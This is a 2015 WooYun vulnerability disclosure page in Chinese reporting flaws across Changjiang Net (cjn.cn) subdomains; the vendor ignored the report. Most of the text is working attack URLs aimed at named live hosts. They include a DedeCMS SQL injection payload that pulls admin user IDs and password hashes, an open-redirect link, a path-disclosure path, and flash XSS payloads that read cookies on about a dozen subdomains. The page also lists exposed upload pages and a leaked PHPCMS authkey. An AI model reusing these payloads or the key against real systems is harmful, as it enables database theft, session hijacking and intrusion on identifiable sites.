当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0161399

漏洞标题：长江网存在多个漏洞打包

相关厂商：长江网

漏洞作者： 路人甲

提交时间：2015-12-15 10:58

修复时间：2015-12-20 11:00

公开时间：2015-12-20 11:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-15： 细节已通知厂商并且等待厂商处理中
2015-12-20： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

Dedecms /plus/download.php URL redirect
http://app.cjn.cn/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D
Dedecms Path Disclosure
http://app.cjn.cn/data/mysql_error_trace.inc
注入
http://app.cjn.cn/plus/search.php?keyword=as&typeArr[111%3D@%60\%27%60%29+and+%28SELECT+1+FROM+%28select+count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select+CONCAT%280x7c,userid,0x7c,pwd%29+from+%60%23@__admin%60+limit+0,1%29,1,62%29%29%29a+from+information_schema.tables+group+by+a%29b%29%23@%60\%27%60+]=a


1.png


Dedecms /plus/download.php URL redirect
http://app1.cjn.cn/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D
Dedecms Path Disclosure
http://app1.cjn.cn/data/mysql_error_trace.inc
注入
http://app1.cjn.cn/plus/search.php?keyword=as&typeArr[111%3D@%60\%27%60%29+and+%28SELECT+1+FROM+%28select+count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select+CONCAT%280x7c,userid,0x7c,pwd%29+from+%60%23@__admin%60+limit+0,1%29,1,62%29%29%29a+from+information_schema.tables+group+by+a%29b%29%23@%60\%27%60+]=a
flash xss
http://app1.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://byby.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://hbjs.cjn.cn/statics/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://it.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://jkys.cjn.cn/statics/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://lady.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://life.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://pinyou.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://wh2049.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://www.cjn.cn/hs/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://www.cjn.cn/hs/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://yazg.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://yy.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}


源码泄露
http://e.cjn.cn/upload.jsp
http://e.cjn.cn/image.jsp


1.png


http://jkys.cjn.cn/
PHPCMS authkey泄露
LNgIcALH2pF0kpzZN9rGVA2qZgP7ugc2

漏洞证明：

如上

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-12-20 11:00

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无

漏洞评价：

评价